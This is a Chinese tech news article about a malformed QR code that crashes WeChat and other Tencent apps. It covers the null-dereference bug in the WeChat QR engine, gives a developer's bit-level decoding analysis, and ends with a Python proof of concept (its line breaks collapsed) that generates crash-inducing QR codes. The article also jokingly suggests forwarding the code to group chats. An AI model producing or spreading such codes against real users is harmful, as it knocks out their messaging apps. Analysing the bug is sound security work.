扫个二维码微信就崩溃的原因找到了|附源码分析

出品 | OSC开源社区(ID:oschina2013)

建议别尝试:转发这个二维码到群里,3秒后你会回来骂我(抖m求骂)177d26b8d71f6fc13dede8e8161f7e7b.png

a20f12ddbbf79e70a758de8d35c4fe2a.png

近日,网传微信识别上方二维码就会出现闪退BUG,小编也忍不住尝试了一下,果然,一识别该二维码微信立马就出现了闪退的现象:

7995300ea5a2ca8ee60f65131356c0f9.gif

且会出现“微信运行异常,建议前往软件商店更新至最新版本”的提示。

a48d4eb5da72654e610c3a1baac8c447.png

随后,小编又对该二维码进行了转发测试,亦是如此,将二维码转发给好友后微信又出现闪退情况:

dbd47580e69ff30c78ec2fc4c3744c15.gif

在手机微信中无需识别,仅仅是点击该二维码,微信就会出现闪退:

e1cf1a8d15c9cd5d2ec1c1f194876889.gif

在微信电脑端,小编测试发现苹果电脑点击该二维码同样会出现闪退现象,但是小编的 Windows 10 测试则正常无闪退。

d033b978e3f1a73bd4ae6af2fc1fe82e.png

目前该二维码除了导致闪退外未发现其他副作用。

对于此次闪退事件,有网友发文解释称:目前微信闪退崩溃是因为 OCR 识别系统出现了内存崩溃导致的,这个图片导致了微信内存泄漏,所以会闪退崩溃。闪退问题不会涉及个人隐私问题和封号和资金泄漏问题,目前该功能已经在加急加班的修复中。

5595bc38722b31520e17a8dea02f9498.jpeg

不过上述对于微信闪退的解释也只是网友观点,截止发稿,腾讯官方还未公开回应。

前面有提到,由于这张二维码图片导致内存泄漏,进而引发微信闪退。而造成此问题的根源是 “微信二维码引擎”——

  1. 它会自动识别聊天列表中的二维码

  2. 当用户打开聊天列表,微信二维码引擎识别到这张二维码的时候出现了空指针异常,导致二维码模块崩溃

  3. 最终 “祸及” 整个微信客户端

另外,不只是微信,其他腾讯系的软件如果使用了同样的二维码引擎,应该都有这个问题。参考此issue的反馈
https://github.com/opencv/opencv_contrib/issues/3478

c5b3b92911f07bea9329fed7bda9c7e9.png

从公开的资料可知,该引擎已在 2021 年开源,并合并到了 OpenCV。

开源地址:https://github.com/WeChatCV

OpenCV 全称为 Open Source Computer Vision Library,是一个跨平台的开源计算机视觉和机器学习软件库,可用于开发实时的图像处理、计算机视觉以及模式识别程序。

30cbdf11b9f9cfb894931a3a2f8e155b.png

d493fd45ec1b19f9321c91b9af7411b2.png

根据开发者的分析,引发微信闪退的二维码属于 “畸形二维码”,这类二维码包含的错误数据块会导致微信二维码模块中的 libqbar.so 崩溃,进而引发软件闪退。

下面内容来自开发者的分析:

这是一张用微信扫描就会 crash 的二维码,应该是微信 OCR 的实现有问题,以及如果发在群聊里可能会导致群聊的人都闪退(因为微信会自动识别二维码)

UPDATE: 腾讯系的软件应该都有这个问题

感觉主要出锅的地方在:

[0100] [00000001] []
Mode Indicator : 8-bit Mode (0100)
Character Count Indicator : 1
Decoded data :

因为队友说似乎是 null deref,直接遍历解码到后期的时候发现了以下的问题,填充和 RS 在这样的扫描下直接被吃掉了:

{value: '00000001', type: 'Char. count indicator', decoded: 1, modules: Array(8)}
{value: '10011111', type: 'Message data', decoded: '\x9F', modules: Array(8)}
{value: '0000', type: 'Mode indicator', decoded: 'Terminator', modules: Array(4)}
{value: '0010', type: 'Mode indicator', decoded: 'Alphanumeric mode', modules: Array(4)}
{value: '100111001', type: 'Char. count indicator', decoded: 313, modules: Array(9)}
{value: '01100111100', type: 'Message data', decoded: 'II', modules: Array(11)}
{value: '01100010011', type: 'Message data', decoded: 'HM', modules: Array(11)}
{value: '10100001110', type: 'Message data', decoded: 'SY', modules: Array(11)}
{value: '00110010000', type: 'Message data', decoded: '8+', modules: Array(11)}
{value: '01110011111', type: 'Message data', decoded: 'KR', modules: Array(11)}
{value: '01101010111', type: 'Message data', decoded: 'J0', modules: Array(11)}
{value: '01110100010', type: 'Message data', decoded: 'KU', modules: Array(11)}
{value: '10000011011', type: 'Message data', decoded: 'NG', modules: Array(11)}
{value: '11101010111', type: 'Message data', decoded: '-Y', modules: Array(11)}
{value: '1101', type: 'Message data', decoded: '0D', modules: Array(4)}
{value: '', type: 'Message data', decoded: NaN, modules: Array(0)}
{value: '', type: 'Message data', decoded: NaN, modules: Array(0)}

提取出的数据来看,在到达最后一个 8-bit Mode 后是一个不可见字符 \x9f 和正常的终止符号,但在之后本应该是 padding 的 11101100 和 11101100 却不见了踪迹,后续的 block 恰好被解析为了 Alphanumeric mode,长度块标准为 9 bit,并且读取出其长度为 313,导致后续的数据被解析为了奇怪的内容,并且直接开始越界解析。

但是尝试复现并未成功构造一个可以被微信复现的二维码,并且 qrazybox 也被这样的长度标识欺骗了,但是在上面的例子里并没有,似乎整个问题比想象的复杂:

Final data bits :
00101111111110000101110100010001010001110011000010100000111011000001000111101100000100011110110000010001111011000001000111101100
[0010] [111111111] [0000101110100010001010001110011000010100000111011000001000111101100000100011110110000010001111011000001000111101100]
Mode Indicator : Alphanumeric Mode (0010)
Character Count Indicator : 511
Decoded data : 2333AA76%J5L1QVFA.380Cundefinedundefinedundefinedundefinedundefined……
Final Decoded string : 2333AA76%J5L1QVFA.380C

忽略了一个核心问题,这个二维码的数据区已经被完全填满(224 bit),解码器可能会因为遇到 padding pattern 而提前 break,打算再去构造一下。

构造成功了,成功让微信崩溃了!几个要点:

1. 数据需要绝对无填充,不可以出现 padding pattern
2. 最后一个 block 的记录长度要尽可能的长,与什么模式无关

理论上只要能够找到合适的 data block 组合,恰好填充满二维码的容量,并在最后一个 0 长 block 中写入一个越界的长度,并保证上述所有数据 RS 纠错码生成正确,就可以实现崩溃了。

附上复现用的代码,可根据任意文本内容构造畸形二维码:

import qrcode
from qrcode.util import QRData, MODE_8BIT_BYTENUM_BLOCKS = [19, 34, 55, 80, 108, 136, 156, 194, 232]def tencent_crash_qrcode(message: str, filename='crash.png'):def hack_put(self, num, length):if num == 0:num = 1for i in range(length):self.put_bit(((num >> (length - i - 1)) & 1) == 1)data = message.encode('utf-8')data_len = len(data)version = 1while version <= len(NUM_BLOCKS) and data_len + 3 > NUM_BLOCKS[version-1]:version += 1if version > len(NUM_BLOCKS):raise Exception('message too long')data += b' ' * (NUM_BLOCKS[version-1] - data_len - 3)print(data_len, version)qr = qrcode.QRCode(version, qrcode.constants.ERROR_CORRECT_L)comm_data = QRData(data, MODE_8BIT_BYTE)hack_data = QRData(b'', MODE_8BIT_BYTE)qr.add_data(comm_data, 0)qr.add_data(hack_data, 0)original_put = qrcode.util.BitBuffer.putqrcode.util.BitBuffer.put = hack_putqr.make_image().save(filename)qrcode.util.BitBuffer.put = original_puttencent_crash_qrcode('KFCVW50')

 最后,附上一个通过脚本生成的畸形二维码。

6a8ff6b6c419a1ab7f443913d76f4308.png


前不久 3 月 29 日凌晨,腾讯旗下的微信和 QQ 等业务也曾出现崩溃状况,包括微信语音对话、朋友圈、微信支付,以及 QQ 文件传输、QQ 空间和 QQ 邮箱在内的多个功能无法使用。直到 3 月 29 日早间,腾讯微信团队才回应表示,经工程师抢修,系统正在逐步恢复。

b870b63d2ec72252d136fa4b47488099.png

而后腾讯也将此次事故定义为公司一级事故。

工信部在听取腾讯公司关于 “3・29” 微信业务异常情况汇报后,要求腾讯公司进一步健全安全生产管理制度、落实网络运行保障措施,坚决避免发生重大安全生产事故,切实提升公众业务安全稳定运行水平。

ae2783b3f97cfcb1c396f9774a2b7a22.png

------

我们创建了一个高质量的技术交流群,与优秀的人在一起,自己也会优秀起来,赶紧点击加群,享受一起成长的快乐。另外,如果你最近想跳槽的话,年前我花了2周时间收集了一波大厂面经,节后准备跳槽的可以点击这里领取!

推荐阅读

  • 重磅炸弹!OpenAI 现场演示官方版 AutoGPT!

  • 92K Star !AI 都完全不需要咱们人类了?

  • 时隔 15 年,巨著《Java 编程思想》新版终于来啦

··································

你好,我是程序猿DD,10年开发老司机、阿里云MVP、腾讯云TVP、出过书创过业、国企4年互联网6年。从普通开发到架构师、再到合伙人。一路过来,给我最深的感受就是一定要不断学习并关注前沿。只要你能坚持下来,多思考、少抱怨、勤动手,就很容易实现弯道超车!所以,不要问我现在干什么是否来得及。如果你看好一个事情,一定是坚持了才能看到希望,而不是看到希望才去坚持。相信我,只要坚持下来,你一定比现在更好!如果你还没什么方向,可以先关注我,这里会经常分享一些前沿资讯,帮你积累弯道超车的资本。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/5859.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何管理你的手机存储空间,告别微信内存过大!

开始这篇文章之前&#xff0c;先说说这两天我在清理电脑存储上的一个插曲。 有着良好电脑使用习惯的我&#xff0c;直到上一次打开 Mac 的储存空间界面&#xff0c;还始终保持着预留至少 50G 的空间来避免可用存储空间过少造成的「心理健康」问题&#xff0c;直到某天清理电脑…

在微信小程序上添加chartGPT会怎么样?

字典工具类等小程序开发 目前小程序的使用者大部分来自&#xff1a;广州执信中学、广州二中、华南师范大学附属中学、华南师范大学、也有昆明三中&#xff08;同学在那边当老师推荐了一下&#xff0c;非常感谢&#xff09;等基本都是来自广东。 让它为你写个代码试试&#xff…

ChatGLM本地部署应用的实战方案

大家好,我是herosunly。985院校硕士毕业,现担任算法研究员一职,热衷于机器学习算法研究与应用。曾获得阿里云天池比赛第一名,CCF比赛第二名,科大讯飞比赛第三名。拥有多项发明专利。对机器学习和深度学习拥有自己独到的见解。曾经辅导过若干个非计算机专业的学生进入到算法…

本地部署 MiniGPT-4

本地部署 MiniGPT-4 1. 什么是 MiniGPT-42. Github 地址3. 安装 MiniGPT-44. 准备预训练的 MiniGPT-4 checkpoint5. 在本地启动演示其他 1&#xff0c;安装 CUDA Toolkit 11.8其他 2&#xff0c;安装 GCC 9 版本&#xff0c;并设置为默认GCC版本其他 3(成功)&#xff0c;重新安…

MiniGPT-4本地部署的实战方案

大家好,我是herosunly。985院校硕士毕业,现担任算法研究员一职,热衷于机器学习算法研究与应用。曾获得阿里云天池比赛第一名,CCF比赛第二名,科大讯飞比赛第三名。拥有多项发明专利。对机器学习和深度学习拥有自己独到的见解。曾经辅导过若干个非计算机专业的学生进入到算法…

深度学习实战32-构建ChatT5模型,实现智能问答系统,类ChatGPT(CPU部署)

大家好,我是微学AI,今天给大家介绍一下深度学习实战32-构建ChatT5模型,实现智能问答系统,类ChatGPT(CPU部署),ChatT5使用了T5架构来处理输入文本,具有高度的并行性和扩展性,使其能够快速处理大规模数据集。与传统NLP模型不同,ChatT5采用端到端的方式进行训练,从而可以…

本地部署 gpt4free

本地部署 gpt4free 什么是 gpt4free效果演示安装 ffmpeg启动 gpt4free访问 gpt4free guiWindows 下本地部署 gpt4free(20230515追记)其他 什么是 gpt4free GPT4Free 是一个由 xtekky 创建的基于 OpenAI GPT-4 和 GPT-3.5 的 API。它可以向用户提供类似于 OpenAI GPT-3 的功能&…

【类ChatGPT】本地CPU部署中文羊驼大模型LLaMA和Alpaca

昨天在github上看到一个在本地部署中文大模型的项目&#xff0c;和大家分享一下。先把地址po出来。 项目名称&#xff1a;中文LLaMA&Alpaca大语言模型本地部署 (Chinese LLaMA & Alpaca LLMs) 项目地址&#xff1a;https://github.com/ymcui/Chinese-LLaMA-Alpaca 以…

国内的几款强大的智能AI语言模型

1、Tomchat &#xff1a;Tomchat https://www.tomchat.work 支持gpt4 -3.5 支持 midjourny绘画 可长篇写作 无使用月限额 1、国内百度研发的&#xff0c;文心一言&#xff1a; https://yiyan.baidu.com/welcome 大家如果像我的界面一样有【开始体验】就是可以使用的&…

好用免费,国内手机人人都能玩的GPT!

用了这个长时间的chatgpt真的是觉得离不开它&#xff0c;太好用的&#xff01;又是是写作&#xff0c;编程&#xff0c;日常的一些咨询搜索的事情全部交给它了&#xff01;但是很少有人在手机上能玩GPT! 对于大多数普通选手来说&#xff0c;想在手机上玩GPT&#xff0c;始终离不…

ChatGPT能够知道当下最流行的开发语言,以及各语言哪个开发框架最火吗?

如果你准备成为一名开发人员&#xff0c;但是面对琳琅满目的开发语言&#xff0c;然后每种语言的开发框架却无从下手&#xff0c;张三推荐你学这个&#xff0c;李四推荐你学那个&#xff0c;而你的时间又是有限的&#xff0c;于是我决定问一问这个万事通ChatGPT。 目录 1. 目前…

拼多多驳斥有关其应用程序为“恶意软件”的指控;Google向部分用户预览Bard;ChatGPT出现严重漏洞|极客头条...

「极客头条」—— 技术人员的新闻圈&#xff01; CSDN 的读者朋友们早上好哇&#xff0c;「极客头条」来啦&#xff0c;快来看今天都有哪些值得我们技术人关注的重要新闻吧。 整理 | 梦依丹 出品 | CSDN&#xff08;ID&#xff1a;CSDNnews&#xff09; 一分钟速览新闻点&#…

OpenAI使用条款、使用策略和支持的地区汇总:必读指南,避免OpenAI API被封禁

最近&#xff0c;一些群友反馈他们的OpenAI API被限制,其中包括试用金用户以及绑定了信用卡的用户。当他们调用API时&#xff0c;会收到以下报错信息&#xff1a; Your access was terminated due to violation of our policies, please check your email for more information…

通过云函数搭建内地可用的OpenAI代理(腾讯云centos系统)

需求&#xff1a; 大陆内地云服务器无须搭梯子&#xff0c;无须NGINX反向代理访问openAI。 背景&#xff1a; 平时工作环境是局域网&#xff0c;不方便分享给朋友用&#xff0c;即使不是局域网也不可能一直开着自己的电脑啦&#xff0c;于是想着给弄到云服务器上。 一般来说&…

本地部署ChatGLM-6B模型(使用JittorLLMs大模型推理库)

简介 网上冲浪时发现的这两个国产模型&#xff0c;重点是对硬件的要求并不高&#xff0c;有2GB内存就可以跑&#xff0c;觉得有趣就弄来玩了下。 https://github.com/Jittor/JittorLLMs https://github.com/THUDM/ChatGLM-6B 简单介绍下用到的仓库 ChatGLM-6B ChatGLM-6B 是…

解决注册错误:OpenAI‘s services are not available in your country.

登录AI服务时提示如下错误&#xff0c;意思是该服务不在当前国家提供&#xff0c;需要用魔法移动到其他国家。 参考&#xff1a; https://readdevdocs.com/blog/makemoney/%E4%B8%AD%E5%9B%BD%E5%8C%BA%E6%B3%A8%E5%86%8COpenAI%E8%B4%A6%E5%8F%B7%E8%AF%95%E7%94%A8ChatGPT%E6…

ChatGPT 抢不走程序员饭碗的原因找到了?最新研究:它自动生成了 21 个程序,16 个有漏洞...

整理 | 屠敏 出品 | CSDN&#xff08;ID&#xff1a;CSDNnews&#xff09; 一个好消息与一个坏消息。 好消息是&#xff0c;继 ChatGPT、GPT-4 等产品之后&#xff0c;代码生成工具的队伍再添新员。Google 近日宣布 Bard 可以辅助软件开发者完成编程和软件开发任务&#xff0c;…

解决 OpenAI‘s API is not available in your country.

首先你要确认自己连的节点不属于以下任何一个国家。 如果你确定你连的节点不属于上图的任何一个国家还是显示not available&#xff0c;那么有两种情况。 一.你的科学上网工具的设置。例如我用的是ssr&#xff0c;我打开了服务器负载均衡&#xff0c;它就会自动的在我所有的节…

解决chatGPT出现Not available OpenAI`s services are not available in your country.的问题

一、问题描述 chatGPT出现不允许该地区访问问题 二、解决地区问题 1、清除浏览器缓存 2、地址栏输入以下内容 javascript:window.localStorage.removeItem(Object.keys(window.localStorage).find(i>i.startsWith(‘auth0spajs’))) 请注意&#xff0c;javascript:是粘贴不…

【关于ChatGPT的30个问题】3、ChatGPT的主要功能是什么? / By 禅与计算机程序设计艺术

3、ChatGPT的主要功能是什么? 目录 3、ChatGPT的主要功能是什么? ChatGPT:一种基于人工智能的智能对话机器人